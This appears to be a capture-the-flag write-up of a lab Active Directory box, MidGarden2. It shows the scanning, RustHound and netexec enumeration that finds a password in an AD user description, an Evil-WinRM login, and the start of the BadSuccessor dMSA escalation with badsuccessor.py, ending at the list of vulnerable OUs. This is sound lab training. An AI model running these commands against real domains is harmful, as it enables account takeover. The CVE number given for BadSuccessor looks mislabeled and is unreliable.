MidGarden2 is a Hard level Active Directory box running Server 2025. Initial access is obtained via a credential found in an AD user description field. Privilege escalation to Domain Admin is achieved by exploiting the BadSuccessor technique (CVE-2025-59287), which abuses Delegated Managed Service Accounts (dMSA) to impersonate a high-privileged account and retrieve its NTLM hash.
Enumeration
At first, I run a port scan for open ports and services. The open ports match a standard AD/DC profile, later confirmed as a Domain Controller via netexec’s (DC:True) flag.
[INF] Current naabu version 2.6.1 (latest) [WRN] UI Dashboard is disabled, Use -dashboard option to enable [INF] Running CONNECT scan with non root privileges [INF] Running nmap scan on range 0: 10.1.189.1 -p 3389,445,135,389,53,139,88 [INF] Using custom nmap arguments: -sV [INF] Integrating nmap results for 10.1.189.1: 53/tcp (domain Simple DNS Plus) 88/tcp (kerberos-sec Microsoft Windows Kerberos) 135/tcp (msrpc Microsoft Windows RPC) 139/tcp (netbios-ssn Microsoft Windows netbios-ssn) 389/tcp (ldap Microsoft Windows Active Directory LDAP) 445/tcp (microsoft-ds) 3389/tcp (ms-wbt-server)
Using initial credentials (Freyja) smb share enumeration:
➜ midgarden2 rusthound -d yggdrasil.hacksmarter -i 10.1.189.1 -u freyja -p '<REDACTED>' --adcs --dns-tcp --old-bloodhound --zip --------------------------------------------------- Initializing RustHound at 20:48:03 on 08/06/26 Powered by g0h4n from OpenCyber ---------------------------------------------------
[2026-08-07T00:48:03Z INFO rusthound] Verbosity level: Info [2026-08-07T00:48:03Z INFO rusthound::ldap] Connected to YGGDRASIL.HACKSMARTER Active Directory! [2026-08-07T00:48:03Z INFO rusthound::ldap] Starting data collection... [2026-08-07T00:48:04Z INFO rusthound::ldap] All data collected for NamingContext DC=yggdrasil,DC=hacksmarter [2026-08-07T00:48:04Z INFO rusthound::ldap] All data collected for NamingContext CN=Configuration,DC=yggdrasil,DC=hacksmarter [2026-08-07T00:48:04Z INFO rusthound::json::parser] Starting the LDAP objects parsing... [2026-08-07T00:48:04Z INFO rusthound::json::parser::bh_41] MachineAccountQuota: 10 [2026-08-07T00:48:04Z INFO rusthound::json::parser] Parsing LDAP objects finished! [2026-08-07T00:48:04Z INFO rusthound::json::checker] Starting checker to replace some values... [2026-08-07T00:48:04Z INFO rusthound::json::checker] Checking and replacing some values finished! [2026-08-07T00:48:04Z INFO rusthound::modules] Starting checker for ADCS values... [2026-08-07T00:48:04Z INFO rusthound::modules] Checking for ADCS values finished! [2026-08-07T00:48:04Z INFO rusthound::json::maker] 22 users parsed! [2026-08-07T00:48:04Z INFO rusthound::json::maker] 66 groups parsed! [2026-08-07T00:48:04Z INFO rusthound::json::maker] 7 computers parsed! [2026-08-07T00:48:04Z INFO rusthound::json::maker] 13 ous parsed! [2026-08-07T00:48:04Z INFO rusthound::json::maker] 1 domains parsed! [2026-08-07T00:48:04Z INFO rusthound::json::maker] 0 cas parsed! [2026-08-07T00:48:04Z INFO rusthound::json::maker] 0 templates parsed! [2026-08-07T00:48:04Z INFO rusthound::json::maker] 2 gpos parsed! [2026-08-07T00:48:04Z INFO rusthound::json::maker] 21 containers parsed! [2026-08-07T00:48:04Z INFO rusthound::json::maker] .//20260806204804_yggdrasil-hacksmarter_rusthound.zip created!
RustHound Enumeration Completed at 20:48:04 on 08/06/26! Happy Graphing!
Next, Enumerating user descriptions via LDAP reveals credentials stored in plaintext in Thor’s description field.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
➜ midgarden2 netexec ldap 10.1.189.1 -u freyja -p '<REDACTED>' -M get-desc-users LDAP 10.1.189.1 389 MIDGARDDC [*] Windows 11 / Server 2025 Build 26100 (name:MIDGARDDC) (domain:yggdrasil.hacksmarter) (signing:None) (channel binding:No TLS cert) LDAP 10.1.189.1 389 MIDGARDDC [+] yggdrasil.hacksmarter\freyja:<REDACTED> GET-DESC... 10.1.189.1 389 MIDGARDDC [+] Found following users: GET-DESC... 10.1.189.1 389 MIDGARDDC User: Administrator description: Built-in account for administering the computer/domain GET-DESC... 10.1.189.1 389 MIDGARDDC User: Guest description: Built-in account for guest access to the computer/domain GET-DESC... 10.1.189.1 389 MIDGARDDC User: krbtgt description: Key Distribution Center Service Account GET-DESC... 10.1.189.1 389 MIDGARDDC User: Odin description: DA GET-DESC... 10.1.189.1 389 MIDGARDDC User: Ymir description: EA GET-DESC... 10.1.189.1 389 MIDGARDDC User: Thor description: Temp:<REDACTED> GET-DESC... 10.1.189.1 389 MIDGARDDC User: Sif description: PC Specialist 2 GET-DESC... 10.1.189.1 389 MIDGARDDC User: Skadi description: PC Specialist 2 GET-DESC... 10.1.189.1 389 MIDGARDDC User: Heimdall description: Seriously Secure service account for Yggdrasil services GET-DESC... 10.1.189.1 389 MIDGARDDC User: Hodr description: Web Server Administrator GET-DESC... 10.1.189.1 389 MIDGARDDC User: Ullr description: PC Specialist 1 GET-DESC... 10.1.189.1 389 MIDGARDDC User: Tyr description: PC Specialist 1
Thor has READ access to the scripts share on the DC. The presence of dMSA-related scripts suggests the environment uses Delegated Managed Service Accounts on Windows Server 2025.
Log in via WinRM as Hodr and retrieve the user flag.
1 2 3 4 5 6 7 8 9 10 11 12 13
➜ ~ evil-winrm -i $ip -u HODR -p '<REDACTED>' Evil-WinRM shell v3.9 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Hodr.YGGDRASIL\Documents> type ../Desktop/user.txt <REDACTED> *Evil-WinRM* PS C:\Users\Hodr.YGGDRASIL\Documents>
BadSuccessor
Background
BadSuccessor abuses a flaw in how Windows Server 2025 handles Delegated Managed Service Account (dMSA) migration. An attacker with CreateChild rights over an OU and write access to a target account can create a malicious dMSA linked to a high-privileged account, then request a Kerberos ticket that inherits the target’s keys — effectively impersonating them without knowing their credentials.
Attack Execution
Impacket 0.13.1 or later is required for badsuccessor.py.
1 2
➜ midgarden2 pipx upgrade impacket --force impacket is already at latest version 0.13.1 (location: /home/sz/.local/share/pipx/venvs/impacket)
Per Badsuccessor impacket Hodr is a member of webServerAdmins, which has CreateChild rights over the Web Servers OU.
1 2 3 4 5 6 7 8 9 10 11 12
➜ midgarden2 badsuccessor.py -dc-host midgarddc.yggdrasil.hacksmarter -method LDAP -target-account 'ymir' yggdrasil.hacksmarter/HODR:<REDACTED> -dc-ip $ip Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies [*] Connected to 10.1.189.1 as yggdrasil.hacksmarter\HODR [*] Searching for OUs vulnerable to BadSuccessor attack... [*] Found Windows Server 2025 Domain Controller: CN=MIDGARDDC,OU=Domain Controllers,DC=yggdrasil,DC=hacksmarter [*] Found 13 organizational units [*] Found 1 identities with BadSuccessor privileges: [*] [*] Identity Vulnerable OUs [*] -------------------------------------------------- ------------------------------ [*] YGGDRASIL.HACKSMARTER\webServerAdmins {OU=Web Servers,OU=Yggdrasil Servers,DC=yggdrasil,DC=hacksmarter}
